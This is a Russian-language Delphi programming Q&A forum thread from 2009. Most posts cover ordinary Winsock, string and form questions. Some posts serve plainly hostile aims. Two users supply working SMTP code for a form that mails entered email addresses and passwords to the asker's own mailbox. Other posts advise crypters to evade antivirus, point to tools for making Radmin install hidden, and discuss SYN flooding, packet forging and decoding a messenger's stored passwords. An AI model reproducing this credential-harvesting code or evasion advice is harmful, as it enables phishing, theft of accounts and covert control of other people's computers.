08.11.2009, 14:21
Собствено следуюший вопрос.. При конекте к серву, сервер посылает нам пакет.
Как получить и прочитать его? Используя Winsock

slesh
08.11.2009, 14:36
recv

wolmer
08.11.2009, 14:37
Собствено следуюший вопрос.. При конекте к серву, сервер посылает нам пакет.
Как получить и прочитать его? Используя Winsock
К примеру


t:TSocket;
send1:string;
send1buf:array [0..5000] of char;
recv1buf:array [0..5000] of char;
dsize:Word;
recvstr:string;
send1:='GET http://site.ru/'+#13#10+
'User-Agent: Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.2.15 Version/10.00'+#13#10+
'Host: site.ru'+#13#10+
'Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1'+#13#10+
'Accept-Language: ru-RU,ru;q=0.9,en;q=0.8'+#13#10+
'Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1'+#13#10+
'Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0'+#13#10+
'Cookie: test=test1'+#13#10+
'Cookie2: $Version=1'+#13#10+
'Connection: Keep-Alive'+#13#10+#13#10;
CopyMemory(@send1buf,pchar(send1),length(send1));
send(t,send1buf,sizeof(send1buf),0);
//В случае если мы напишем recv(t, recv1buf, 4096, 0);
//То весь пакет не дойдет, поэтому мы связываемся с циклом
repeat
recv1buf:='';
dSize:=recv(t, recv1buf, 4096, 0);
recvstr:=recvstr+recv1buf;
until (dSize = 0) or (dSize = SOCKET_ERROR);
Дальше в recvstr будет пакет в виде html
(#13#10 - перенос строки)
(при коннекте сервер нам дает знать что мы подключились но он нам не посылает пакет, он нам посылает пакет когда мы ему послали пакет (т.е. сервер отвечает на наши пакеты))
(писал прямо здесь, так что особо не ругаться на ошибки)

Tribal_0_o
08.11.2009, 17:07
К примеру


t:TSocket;
send1:string;
send1buf:array [0..5000] of char;
recv1buf:array [0..5000] of char;
dsize:Word;
recvstr:string;
send1:='GET http://site.ru/'+#13#10+
'User-Agent: Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.2.15 Version/10.00'+#13#10+
'Host: site.ru'+#13#10+
'Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1'+#13#10+
'Accept-Language: ru-RU,ru;q=0.9,en;q=0.8'+#13#10+
'Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1'+#13#10+
'Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0'+#13#10+
'Cookie: test=test1'+#13#10+
'Cookie2: $Version=1'+#13#10+
'Connection: Keep-Alive'+#13#10+#13#10;
CopyMemory(@send1buf,pchar(send1),length(send1));
send(t,send1buf,sizeof(send1buf),0);
//В случае если мы напишем recv(t, recv1buf, 4096, 0);
//То весь пакет не дойдет, поэтому мы связываемся с циклом
repeat
recv1buf:='';
dSize:=recv(t, recv1buf, 4096, 0);
recvstr:=recvstr+recv1buf;
until (dSize = 0) or (dSize = SOCKET_ERROR);
Дальше в recvstr будет пакет в виде html
(#13#10 - перенос строки)
(при коннекте сервер нам дает знать что мы подключились но он нам не посылает пакет, он нам посылает пакет когда мы ему послали пакет (т.е. сервер отвечает на наши пакеты))
(писал прямо здесь, так что особо не ругаться на ошибки)
У меня "особенный сервер)" игры Lineage.И при конекте к серверу он сразу же посылат пакет.. Конект и просмотр этого пакета через TCPClient у меня получаться а в вот через Winsock не получалось.. Я получал Длину пакета. Но взяв из вашего примера :

recv1buf:='';
recvstr:=recvstr+recv1buf;

Начал получать пакет целиком Спасибо=)

Adekvatnyj
08.11.2009, 20:17
Подскажите у меня проблема, ее я постил 2 страницы назад, но мне не помогли.
Скачал 3 разных пакета дельфи 7.0, переустанавливал каждую по 3 раза.
Дальше та же ошибка, скрин:
_http://s39.radikal.ru/i086/0911/c7/26f9f43cdf97.png
Винду переустановить не могу, так как бухгалтерии всякие.

woolfon
09.11.2009, 12:59
if edit5.text < '5' then
showmessage('Минимальное значение для таймера "5" сек.') else
begin
timer1.Interval:= strtoint(edit5.text + '000');
timer1.enabled:=true;
edit5.ReadOnly:= true;
end;

вообщем есть edit1, нужно так, если значение от ноля до 5(не включительно) вывод сообщения, это все работает, при значениях от 5 до 9 все тоже ровно, а вот от 10 до 99 начинает выскакивать шоумеседж, почему? напарился уже ниче в голову не лезет, вроде пустяк такой... в свойсвах едитки макс. кол-во символов стоит 2

transserg
09.11.2009, 13:22
Adekvatnyj проверь возможно оно.
Внимание всем, использующим Delphi c 4 по 7 !

Специфичный Delphi-вирус
В интернете появился специфичный для Delphi вирус. Суть его в том, что заражённая программа ищет на диске установленные версии Delphi и, если находит, изменяет файл SysConst.dcu (старая версия сохраняется под именем SysConst.bak), и после этого все программы на Delphi, скомпилированные на этом компьютере, начинают точно так же заражать Delphi на тех компьютерах, где они запускаются. Распространению вируса способствовало то, что некторые версии популярного мессенджера QIP оказались заражены им (команда разработчиков QIP приносит за это свои извинения). Пока единственный обнаруженный вредный эффект от вируса — это то, что из-за ошибки в его коде при запуске заражённой программы возникает Runtime error 3, если ключ реестра HKEY_LOCAL_MACHINE\SOFTWARE\Borland \Delphi\x.0 (x — от 4 до 7) содержит неправильное значение параметра RootDir (для правильного значение ошибки не происходит). Видимо, просто обкатывалась технология распространения вируса.

Проверьте свои версии Delphi и, если найдёте у себя SysConst.bak, выполните следующие действия:
1. Удалите SysConst.dcu
2. Скопируйте SysConst.bak в SysConst.dcu. Важно именно скопировать, а не переименовать, чтобы SysConst.bak тоже остался на диске — это убережёт систему от повторного заражения.

подробности здесь

RumShun
09.11.2009, 13:38
if edit5.text < '5' then
showmessage('Минимальное значение для таймера "5" сек.') else
begin
timer1.Interval:= strtoint(edit5.text + '000');
timer1.enabled:=true;
edit5.ReadOnly:= true;
end;
ну ты даешь, строки сравниваешь!
if strtoint(edit5.text) < 5 then
showmessage('Минимальное значение для таймера "5" сек.') else
begin
timer1.Interval:= strtoint(edit5.text) *1000;
timer1.enabled:=true;
edit5.ReadOnly:= true;
end;
что ты там дальше сказа я не очень понял, твоя основная проблема в том что ты путаешься в типах данных.

RumShun
09.11.2009, 13:47
2 Пуховой, решил свою проблему?
я в таких случаях использую флаги, вроде нормально робит.
вообще правильно делать через симафоры или мьютексы.
это если я тебя правильно понял, wolmer тоже что такое когдато спрашивал, не помню ответили ему или нет.

Tribal_0_o
09.11.2009, 15:54
В DEPHI 7:

var
s:string;
pck:array [0..65534] of byte;
pck2:array [0..65534] of byte;
begin
len:=recv(sock,pck,MAX_PKT_SIZE,0);
move(pck[0],pck2[0],len);
s:='';
s:=s+inttohex(pck2,2);
memo1.lines.Add(s);

в DELPHI 2009 этот же код выдаёт ошибку:
E2250 There is no overloaded version of 'IntToHex' that can be called with these arguments

как исправить?

svesve
09.11.2009, 19:26
Есть какие нибудь способы как спрятать файл от Антивирусников имея исходный код программы?

Переименовывание форм, кнопок, процедур пойдет?

Adekvatnyj
09.11.2009, 19:54
Adekvatnyj проверь возможно оно.
Оно, но не помогло сделать эти два шага, в RootDir мб что то поменять?.

Все сменил по батнику с дельфи сайта.

Но у меня не такая ошибка, у меня аккес виолатион!

$Atlet$
09.11.2009, 20:11
svesve, посмотри тут (http://grabberz.com/showthread.php?t=15134) и тут (http://grabberz.com/showthread.php?t=13471)

=Zeus=
09.11.2009, 22:32
Есть какие нибудь способы как спрятать файл от Антивирусников имея исходный код программы?

Переименовывание форм, кнопок, процедур пойдет?
Антивирусу плевать на кнопки и все остальное. Он смотрит только на функции. Для шифровки используй пакеры (есть такие, что маскируют от простеньких антивирусов). А вообще есть специальные программы, они называются крипторы. Но вся проблема в том, что те крипторы, которые в паблике, большинство антивирусов палят. Нужно либо искать нормальный паблик (если поднапрячься то можно), или купить приватный.

mr_walker
10.11.2009, 00:04
Как поставить пароль на кнопку, тоесть чтобы при нажатии на кнопку выскакивала форма с полем для ввода пароля, и при вводе правильного пароля выполнялась функция..????
Все на Делфи7

svesve
10.11.2009, 00:16
Антивирусу плевать на кнопки и все остальное. Он смотрит только на функции. Для шифровки используй пакеры (есть такие, что маскируют от простеньких антивирусов). А вообще есть специальные программы, они называются крипторы. Но вся проблема в том, что те крипторы, которые в паблике, большинство антивирусов палят. Нужно либо искать нормальный паблик (если поднапрячься то можно), или купить приватный.

Переименовал все функции и ничего не палиться ;)

Adekvatnyj
10.11.2009, 00:20
Ответьте еще на мой вопрос, он на той странице!

StealthMaster
10.11.2009, 01:46
Как поставить пароль на кнопку, тоесть чтобы при нажатии на кнопку выскакивала форма с полем для ввода пароля, и при вводе правильного пароля выполнялась функция..????

Добавь в проект новую форму, собственно где и будет поле ввода пароля, пропиши новый unit в секции uses первого юнита.

Код кнопки на первой форме:

form1.button1click(sender: TObject);
begin
form1.enabled := false;
form2.show;
end;


Во втором юните напиши проверку пароля и выполни нужную функцию.

// checkpass(pass: string): boolean - функция проверки пароля
form2.button1click(sender: TObject);
begin
if checkpass(edit1.text) then
MyFunction
else
showmessage('Неверный пароль');
end;

.kawaii
10.11.2009, 01:51
двe edit на форме:
мыло, пасс.
И что бы после ввода скидывало на аську ил хотябы на мыло введённые данные

denjf
10.11.2009, 10:53
двe edit на форме:
мыло, пасс.
И что бы после ввода скидывало на аську ил хотябы на мыло введённые данные


uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient,
IdMessageClient, IdSMTP, StdCtrls, idMessage, IdEMailAddress, ExtCtrls,
wininet, XPMan, ComCtrls;


procedure TForm1.BtStartClick(Sender: TObject);
var
M: TIdMessage;
begin
M := TIdMessage.Create(Form1);
M.Body.Add(edit1.Text); //тут введенное мыло
M.Body.Add(edit2.Text); // тут введенный пароль
M.From.Text := '<Твое мыло>'; //отправитель
M.Recipients.Add;
M.Recipients.Items[0].Text := '<Твое мыло>'; //Получатель
M.Subject := 'Тема'; //Тема письма

IdSMTP1.AuthenticationType := atLogin;
if ComboBox1.Text='@mail.ru' then

IdSMTP1.Username := 'Твой логин';
IdSMTP1.Password := 'Твой пароль';
try
IdSMTP1.Connect();
if IdSMTP1.Connected then
begin
IdSMTP1.Send(M);
end;
IdSMTP1.Disconnect;

except end;

Наформу кинь idSMTP!
Вроде как то так

Nullsleep
10.11.2009, 10:55
uses EncdDecd, WinSock2;

procedure SendLetter(SMTPAddress: PChar; SMTPPort: Word;
Login, Password, MailFrom, MailTo, Subject, BodyText: string);
var
wsa: TWSAData;
sock: TSocket;
sock_addr: TSockAddrIn;

function get_ip(host: PChar): PChar;
var
host_ent: PHostEnt;
begin
host_ent := gethostbyname(host);
Result := inet_ntoa(PInAddr(host_ent.h_addr_list^)^);
end;

procedure send_str(str: string);
var
i: Integer;
begin
str := str + #13#10;
for i := 1 to Length(str) do
send(sock, str[i], 1, 0);
end;

begin
WSAStartup(WINSOCK_VERSION, wsa);
sock := WSASocket(AF_INET, SOCK_STREAM, IPPROTO_IP, nil, 0, 0);
if sock = INVALID_SOCKET then Exit;
sock_addr.sin_family := AF_INET;
sock_addr.sin_port := htons(SMTPPort);
sock_addr.sin_addr.s_addr := inet_addr(get_ip(SMTPAddress));
connect(sock, @sock_addr, SizeOf(sock_addr));
send_str('HELO SMTP');
send_str('AUTH LOGIN');
send_str(EncodeString(Login)); //логин в Base64
send_str(EncodeString(Password)); //пароль в Base64
send_str('MAIL FROM:<' + MailFrom + '>'); //мыло отправителя
send_str('RCPT TO:<' + MailTo + '>'); //мыло получателя
send_str('DATA');
send_str('from:' + MailFrom); //мыло отправителя (можно подменить)
send_str('to:' + MailTo); //мыло получателя
send_str('subject:' + Subject + #13#10); //тема письма
send_str(BodyText); //текст письма
send_str('.');
send_str('QUIT');
closesocket(sock);
WSACleanUp;
end;

Использовать например так:

SendLetter(
'smtp.yandex.ru', 25,
'login', 'pass',
'login@yandex.ru', 'kawaii@gmail.com',
'Mail and Password',
Edit1.Text + ' : ' + Edit2.Text
);

stepashka_
10.11.2009, 11:37
блин так я и не понял ничего

Подскажите вот есть два окна для ввода мыла и пасса к нему
Внизу кнопка отправить

Как сделать что бы мыла с пассами шли на мой emeil??? мыло на майле

Подскажите плиз по подробнее к каждому окну
Да и ещё куда вводить своё мыло с пассом с которого будет идти отправка

denjf
10.11.2009, 13:23
Вроде данны два понятных кода! =)

Пуховой
10.11.2009, 15:19
RumShun, решил :) Сделал отдельный зацикленный поток с задержкой :)

Thenno
10.11.2009, 15:38
блин так я и не понял ничего

Подскажите вот есть два окна для ввода мыла и пасса к нему
Внизу кнопка отправить

Как сделать что бы мыла с пассами шли на мой emeil??? мыло на майле

Подскажите плиз по подробнее к каждому окну
Да и ещё куда вводить своё мыло с пассом с которого будет идти отправка
"Подскажите вот есть два окна для ввода мыла и пасса к нему" - это у твоей программы или у чужой? Если у твоей, то на вопрос твой уже ответили вполне понятно.
А вот четвертый абзац я вообще не понял... Можешь еще раз попонятней сформулировать?

mr_walker
10.11.2009, 16:08
Во втором юните напиши проверку пароля и выполни нужную функцию.


Сорри но в Delphi я новичек... как написать проверку пароля?

Nullsleep
10.11.2009, 16:26
function CheckPass(pass: string): Boolean;
const
true_pass = 'mypassword123';
begin
Result := False;
if pass = true_pass then Result := True;
end;


Пример: http://webfile.ru/4073555

slesh
10.11.2009, 16:29
2 mr_walker так и пиши.

If pass <> 'пароль' then
begin
ReadDocAboutDelphiSyntax(My);
end
else
begin
VseRavnoGotoReadDocAboutDelphiSyntax(My);
end;


Прежде чем писать чтото, хотябы прочитай элементарные вещи связанные с синтаксисом хотябы паскаля.

Когда ты начал писать на бумаге, ты же начал с букв, а не сразу с письма на деревню дедушке.
В языках программирования точно такие же правила как и в любом языке.

slesh
10.11.2009, 16:35
2 Nullsleep вообще более красивее этобы выглядело примерно так

function CheckPass(pass: string): Boolean;
const
true_pass = 'mypassword123';
begin
result := pass = true_pass;
end;

т.е. по идее на 1 команду меньше.

Nullsleep
10.11.2009, 16:44
В исходнике у меня так же, только нужно ли новичку на одну команду меньше? :)

mr_walker
10.11.2009, 16:49
slesh ,Nullsleep спасибо иду читать документацию....
интересный язык оказывается))
спасибо еще раз...

slesh
10.11.2009, 17:11
далеко ходить не надо. Этажем ниже тема есть
какую литературу начать читать нубу о Паскаль?
https://forum.antichat.ru/thread151659.html

wolmer
10.11.2009, 19:03
Вопрос по winsock

Как принять одни header'ы? Или же одно содержимое пакета (т.е. без header'ов)?

intNet
10.11.2009, 20:31
wolmer, стандартные функции copy(), pos(), delete().
Принимаешь всю страницу, а дальше отделяешь header от body. Примерно так:
szHeader := copy(szRecvData, 1, pos(#13#10#13#10, szRecvData)-4);
Если нужно отделить body(т.е. содержимое страницы):
szBody := copy(szRecvData, pos(#13#10#13#10, szRecvData)+4, length(szRecvData) );

konida
11.11.2009, 15:56
привет какой язык мне паможет перепрограмировать radmin server 3.4 ? ну штовб инсталирвался автоматически работал скрыто штоб небыло иконки в трее.? :confused:

slesh
11.11.2009, 16:15
ASM + Olly DBG + IDA Pro + HEX RAY потому насколько я знаю исходников радмина нет в сети.
А вообще обрати внимание на этот тред - http://forum.antichat.ru/printthread.php?t=101461&pp=40

Thenno
11.11.2009, 16:48
привет какой язык мне паможет перепрограмировать radmin server 3.4 ? ну штовб инсталирвался автоматически работал скрыто штоб небыло иконки в трее.? :confused:
Ассемблер.
P.S а для начала вообще о программировании как таковом полезно было бы узнать, тогда сам все поймешь

konida
11.11.2009, 16:54
да разобрался

konida
11.11.2009, 19:06
Где скачать Delphi бесплатно на данных сылках не нашол и в гугле тоже есть ток триал 30 дневная где дастать полную бесплатную версию?

HakaR
11.11.2009, 19:40
Где скачать Delphi бесплатно на данных сылках не нашол и в гугле тоже есть ток триал 30 дневная где дастать полную бесплатную версию?

На торрентах поищи... Можешь здесь посмотреть: http://torrents.ru/forum/viewforum.php?f=1055

Adekvatnyj
11.11.2009, 19:45
Подскажите у меня проблема, ее я постил 2 страницы назад, но мне не помогли.
Скачал 3 разных пакета дельфи 7.0, переустанавливал каждую по 3 раза.
Дальше та же ошибка, скрин:
_http://s39.radikal.ru/i086/0911/c7/26f9f43cdf97.png
Винду переустановить не могу, так как бухгалтерии всякие.
Помогите пплиз, не пропускайте!

HakaR
11.11.2009, 19:49
Подскажите у меня проблема, ее я постил 2 страницы назад, но мне не помогли.
Скачал 3 разных пакета дельфи 7.0, переустанавливал каждую по 3 раза.
Дальше та же ошибка, скрин:
_http://s39.radikal.ru/i086/0911/c7/26f9f43cdf97.png
Винду переустановить не могу, так как бухгалтерии всякие.

Это ошибка происходит когда проект компилируешь?

/Boom\
11.11.2009, 20:23
как отключить кнопки "Свернуть""развернуть"??

ZdezBilYa
11.11.2009, 21:29
как отключить кнопки "Свернуть""развернуть"??
Form1.BorderIcons: какие нужны - включаешь, какие не нужны - выключешь

HakaR
11.11.2009, 21:30
как отключить кнопки "Свернуть""развернуть"??

У формы, параметр BorderStyle = bsDialog.

/Boom\
11.11.2009, 21:39
Cпс!еще вопрос :D что сделать чтоб нельзя было форму перемищять мышкой??

ZdezBilYa
11.11.2009, 22:09
Cпс!еще вопрос :D что сделать чтоб нельзя было форму перемищять мышкой??

есть вариант вообще убрать верхнюю панель с кнопками:


procedure CreateParams(var Params : TCreateParams); override;
...
procedure TForm1.CreateParams(var Params : TCreateParams);
begin
inherited Createparams(Params);
with Params do
Style := (Style or WS_POPUP) and not WS_DLGFRAME;
end;

HakaR
11.11.2009, 22:11
Cпс!еще вопрос :D что сделать чтоб нельзя было форму перемищять мышкой??

Скачай себе: DRKB (Delphi Russian Knowledge Base) (http://www.drkb.ru/) , очень большой фак по дельфи... там должен быть ответ на твой вопрос ;)

У формы: BorderStyle = bsNone.

HakaR
11.11.2009, 22:21
А что мне сделать с компиляцией?????

Может у тебя в самом проекте ошибки допущены?
Если нет, я х.з.

HakaR
11.11.2009, 22:37
Как полностью удалить все дельфи из компа?

"Установка и удаление программ" :o
Ну или Smarty Uninstaller'ом попробуй.

Adekvatnyj
11.11.2009, 22:37
Решил проблемму, сейчас потру посты.
Решение было в нестыковке дельфи 2010 с 7.
Удалил вручную все программы дельфи и RAD, компиляторы, из диска С, почистил реестр, и установил начисто дельфи 7.
П.С. простым аннинсталлером чето нехотело, долго очень думало.

denjf
12.11.2009, 17:19
подскажите плиз.

var
s,m,p:string;
begin
//это дано
s:=xxxx@mail.ru:12345;

//Надо получить следующие

m:=xxxx;
p:=12345;

Thenno
12.11.2009, 17:50
Решение не оптимальное, но должно работать

i:=1;
while s[i]<>'@' do
begin
m:=m+s[i];
i:=i+1;
end;
for j:=i to length (s) do
if s[i]='1' or '2' or '3' or '4' or '5' or '6' or '7' or '8' or '9' or '0' then
p:=p+s[i];

=Zeus=
12.11.2009, 17:58
подскажите плиз.

var
s,m,p:string;
begin
//это дано
s:=xxxx@mail.ru:12345;

//Надо получить следующие

m:=xxxx;
p:=12345;

Вроде так, писал прямо тут.
var m, p: string;
m := Copy(s, 1, pos('@', s)-1);
p := Copy(s, pos(':', s)+1, length(s)-pos(':', s));

=Zeus=
12.11.2009, 17:59
Решение не оптимальное, но должно работать

i:=1;
while s[i]<>'@' do
begin
m:=m+s[i];
i:=i+1;
end;
for j:=i to length (s) do
if s[i]='1' or '2' or '3' or '4' or '5' or '6' or '7' or '8' or '9' or '0' then
p:=p+s[i];
Извини, но твой вариант очень медленный. В данном случае если автор хочет проверять списки (как я понимаю), то чем меньше кода тем лучше. И пароль не всегда будет состоять из цифер, так что проверка на 1-9 ни к чему. Хотя выбирать автору вопроса.

Thenno
12.11.2009, 18:05
Извини, но твой вариант очень медленный и неоправданный. Хотя выбирать автору вопроса.
Знаю, я об этом и писал. Громоздкий очень, а точно медленный?
P.S насчет цифр - этот момент можно оформить как первую чать.

sadfeel
12.11.2009, 23:31
Всем привет.
Помоги плз с компонентом
В инсте задали улучшить RadioGroup. Добавил пару свойств. при подключении модуля к проге все работало на ура. как только установил компонент начались проблемы.

Вот первая из них:

Мне необходимо каждый раз при изменении Caption записывать его в переменную удалять старый Caption и на канвасе писать новый. проблема в следующем: как перехватить его при изменении к примеру в инспекторе обьектов.

я делал так: обьявлял в паблишед новое свойство Caption и просто считывал его в переменную при изменении. но при таком подходе стандартный Caption не изменяется, т.е. сразу после добавления компонента на форму у Caption нету текста, а у объекта есть. вообщем может че не так обьяснил, ну помогите перехватить Caption при изменении)

Пуховой
13.11.2009, 10:26
=Zeus=, можно регулярками. На 100 тыс. записей - 1-2 сек. на обработку.

warkk
13.11.2009, 13:34
Например есть строка lololololo`lololo`lolololo`lolololo`lololo
Как сделать так что бы после третьего символа ` все удалялось?

slesh
13.11.2009, 14:01
самый простой вариант -
пробегайся по этой стоке и считай кол-во ` как тока появился третий, то запоминай его позицию. И копируй текст от начало и до этой позиции

warkk
13.11.2009, 16:55
В PHP есть функция explode
<?php
$array = explode('`','123456`12345`123456789`ahsdaskd`', -1);
$count = strlen($array[0]) + strlen($array[1]) + strlen($array[2]);
print $count;
?>
Оно выведет 20, т.к. 123456+12345+123456789.
Соответсвенно я бы копировал 23 символа со строки.
Есть ли аналог такой функции в Delphi?

Nightmarе
13.11.2009, 16:58
В PHP есть функция explode
<?php
$array = explode('`','123456`12345`123456789`ahsdaskd`', -1);
$count = strlen($array[0]) + strlen($array[1]) + strlen($array[2]);
print $count;
?>
Есть ли аналог в Delphi?
function Explode(s,d:string;n:word):string;
var i,j,o,r:word; t:string;
begin
result:='';
if pos(d,s)=0 then exit;
if pos(d,s)=1 then s:=copy(s,length(d),length(s));
t:=s;r:=1;
for i:=1 to n do begin
o:=pos(d,t);
if o=0 then exit;
result:='';
for j:=r to o-1 do result:=result+t[j];
r:=o+length(d);
for j:=o to r-1 do t[j]:=char(1);
end;
end;

Это функция от Slesh`a
Первый параметр - что запихиваем в буффер.
Второй - символы для разделения.
Третий - номер массива.
То есть пример:
Explode('lol1:lol2:lol3',':',2);
выведет: lol2 и т.д..

warkk
13.11.2009, 17:01
Спасибо. Сейчас попробую.

Работает :)

OPF_Nik
13.11.2009, 21:54
Народ!! вот у меня есть два компонента: TMediaPlayer и TListBox !

В TListBox содержиться плэйлист TMediaPlayer!

Как сделать так что бы когда одна песня заканчивалась, начинала играть вторая, которая следующия за ним в списке, и что бы она также выделялась в списке фокусом???

Зарание спасибо!!

DimkO
14.11.2009, 00:08
делфи можно экспортировать в html с помошью ActiveX-форм,но для их отображения на компе у пользователя нужно что бы он понизил свой уровень безопасности в IE,что вряд ли будет...вопрос:возможен ли еще какой то способ вставки объекта(созданого в делфи) в html?

ErrorNeo
14.11.2009, 09:19
сложный короткий вопрос на который не будет ответа:
функция connect в winapi:
при её использовании к серверу - для установки коннекта - шлется какой-то мини-запрос из нескольких байт, насколько я понимаю. Так же несколько байт, видимо, принимаются обратно, в результате чего ф-ция connect, соответст-но и возвращает значение 0 или 1.

вопрос:
собственно что за запрос шлется\получается, как он выглядит, какие ресурсы он потребляет на целевом хосте при условии, что таких запросов одновременно сделано оч. много

так же интересно, что именно просисходит, если сделать на машине с windows XP одновременно (скажем, в теченеие 10 сек) несколько тысяч запросов connect к чему-либо. Т.е. что "просиходит" - и так видно: дохнет либа отвечающяя за работу с winsock, вопрос в том, почему это происходит (хотя тут уже - скорее риторический. видимо, потому что это windows)

bons
14.11.2009, 10:25
сложный короткий вопрос на который не будет ответачувак, как я уже говорил, перед тем как спрашивать прочитал бы хотя бы хоть чтото. И не надо делать из всего что ты изучаешь этакие магические хакерские секреты которых никто не знает кроме избранных.
при её использовании к серверу - для установки коннекта - шлется какой-то мини-запрос из нескольких байт, насколько я понимаюэти "несколько байт" называются пакетами SYN, ACK и SYN/ACK то есть пакеты с взведенными соответственными флагами. Почитай Йона Снейдера "Эффективное программирование TCP IP" там ОЧЕНЬ подробно расписано.
так же интересно, что именно просисходит, если сделать на машине с windows XP одновременно (скажем, в теченеие 10 сек) несколько тысяч запросов connect к чему-либо. Т.е. что "просиходит" - и так видно: дохнет либа отвечающяя за работу с winsock, вопрос в том, почему это происходит (хотя тут уже - скорее риторический. видимо, потому что это windows) Никто никуда не дохнет, в winxp стоит ограничение 10 TCP соединений на один процесс...

ErrorNeo
14.11.2009, 14:31
bons
2 пункт пригодился - гуглю сабж.
1 пункт - сохранил, почитаю.
3 - либа вылетает только при условии, что снят лимит на half-open connects(или он заведомо большой). Так что претензий в мелокософту, видимо, тоже нет - они на это не расчитывали. Просто любопытный метод "отрубить" своей машине сеть

теперь интерсно:
1. реализация SYN\ACK запросов на дельфи - буду гуглить
(интересуют модифицированные запросы, а не стандартные, которые предоставляет ф-ция connect)
2. перспективы патчинга tcp.sys в целях перенаправления траффика (и прочих)

slesh
14.11.2009, 15:10
2 ErrorNeo собирашся ддос бота писать чтоли?
0) то что ты описал - это банальный SYN флуд. Который когдато был очень уж популярным. Но сейчас самая ленивая ОС с ним кое как справляется. Фряха вообще в ядре имеет защиту от syn флуда.
1) SYN\ACK запросы - юзай сырые сокеты. Но там нельзя подделать адрес отправителя ). КОгдато сам такое на делфи писал )
2) Также как вариант можно заюзать либу WinPCap чтобы из своих программ подделывать запросы.
3) патчить tcp.sys - можно, но не нужно. Существует такая вешь как TDI и там ты можеш поставить фильтровать входящие и исходящие пакеты и также можеш их подправляться слегка ) и куда угодно можеш перенаправить тогда.
4) Но самая беспаливная вешь это юзать хуки на уровне NDIS. Там ты сам бог сетевой.

Также можно зарегать новый NDIS протокол и через него работать.
Можеш строить сам какие хочешь пакеты и отправлять куда хочешь с любыми подельными данными. Но увы это уже не юзермод.

ErrorNeo
14.11.2009, 18:42
благодарю!
про SYN флуд был не в курсе - столкнулся, когда целевой сервер перестал отвечать, в результате чего нагрузка на проц машины-клиента резко начала подниматься с 1-2% до 100%.
Сейчас почитал немного про сабж, и узнал, что дефолтный суммартный таймаут на безответный SYN запрос (он же connect к недоступному серверу) составляет аж (3+6+12) целую 21 секунду...
даже в 20 потоков такое(почему-то) на 100% грузит любую, даже самую мощную современную систему-клиента. (покр. грузило в моем конкретном случае)
Теперь узнал, что это само по себе является методом атаки, да еще и устаревшим :)
Но все равно пригодится:)

Про перенаправление траффика - тру. Буду гуглить\пробовать эти методы немного позже.
Оч. полезная инфа

denjf
14.11.2009, 19:48
Подскажите пожалуйста. А то голову уже сломал))
как из значения Reg_binary
Вот пример 0b 90 a9 84 e9 fb dc 64 03 fd 50 ff 24 c5 4b b7 получить ТЕКС??

К сведенью это пароль сохранненый Mail.ru Агентом.

transserg
15.11.2009, 13:36
привет всем, возник вопрос почему строка которая записанная в бинарный файл при чтении ее оттуда это куча мусора?
вот код

type
MyFormat=record
Len:WORD;
Str:Array of byte;
end;

Procedure SaveF(S:String);
var
MyFile:THandle;
re:longword;
Sav:MyFormat;
begin
MyFile:=CreateFile('log.bin', $40000000, 2, nil, 2, 128, 0);
sav.Len:=Length(s);
SetLength(sav.Str,sav.Len);
CopyMemory(@sav.Str[0], @s[1], sav.Len);
WriteFile(MyFile, sav,sav.len+2, Re, nil);
CloseHandle(MyFile);
end;

Function ReadF:string;
var
MyFile:THandle;
re:longword;
Sav:MyFormat;
begin
MyFile:=CreateFile('log.bin', GENERIC_READ ,FILE_SHARE_READ, nil, OPEN_EXISTING,0, 0);
ReadFile(MyFile, sav,2, Re, nil);
SetLength(sav.Str,sav.len);
ReadFile(MyFile, sav.Str[0], sav.len, re, nil);
CloseHandle(MyFile);
SetString(Result, PChar(@sav.Str[0]),sav.len);
end;

Si{R}ius
15.11.2009, 16:37
Как в Делфи определить - параллельны ли отрезки?
Имеются точки начала и конца их.

KostyanUA
15.11.2009, 18:47
Подскажыте с чего начать учить Delphi ?

Thenno
15.11.2009, 19:36
Как в Делфи определить - параллельны ли отрезки?
Имеются точки начала и конца их.
program paralel;
var x11,x12,y11,y12,x21,x22,y21,y22:integer;
a1,b1,a2,b2:integer;
begin
readln (x11,y11,x12,y12,x21,y21,x22,y22);
a1:=y11-y12;
a2:=y21-y22;
b1:=x12-x11;
b2:=x22-x21;
if (A1*B2)=(A2*B1) then
writeln ('yes')
else
writeln ('no');
end.
http://www.informatik.kz/programm-pas.htm - тут посмотри по этой теме.

Подскажыте с чего начать учить Delphi ?
С изучения нормального человеческого языка, русского или украинского (сужу по части UA в нике). А вообще, тема уже 200 раз поднималась, юзай поиск.

KostyanUA
15.11.2009, 19:44
хех, українську я добре знаю, а вот с русским реально проблемы.

Katan
16.11.2009, 00:16
Здравствуйте, хотелось бы написать бота для браузерной игры...предполагаю это сделать на Delphi - так как его знаю больше чем C++ (не знаю возможно ли в нём).
Опишу суть дела.
Играю в Бомжи-Онлайн (_bomjionline_._com), браузерная игра сделана на Flash.
Суть игры это бить монстров и зарабатывать опыт и копейки за которые увеличивать статы... Система боя сделана как показано на скрине:
http://i074.radikal.ru/0911/d6/83a87f942170t.jpg (http://i074.radikal.ru/0911/d6/83a87f942170.jpg)
Что нужно сделать:
Чтобы бот отлавливал данные переходящие от сервера к браузеру и отправлял данные от браузера к серверу. Например в боте выставляем чтобы он бил все время в 100% определенным ударом и т.д.

Вот и наступил сам вопрос: Возможно ли это сделать всё на Delphi и в какую сторону мне нужно копать информацию. Если можно дайте книги, статьи и тд. Связанные с этим вопросом. Также если есть у кого наподобие написанные боты то если можно поделитесь исходниками для изучения.

PS Видел в интернете разработку для Бомжи-Онлайн, но её приостановили.

http://s46.radikal.ru/i111/0911/87/2206b7065e99t.jpg (http://s46.radikal.ru/i111/0911/87/2206b7065e99.jpg)

mr. ZetRikS
16.11.2009, 01:03
Это не бот, это снифер с возможностью правки отправляемых на сервер данных...
Для WOW BC была такя прога, называлась она WPE поищи в инете, возможно она тебе поможет и писать ничего не придётся...
Для разных игр есть разные, для линейки тож есть какой то...
но это НЕ бот...
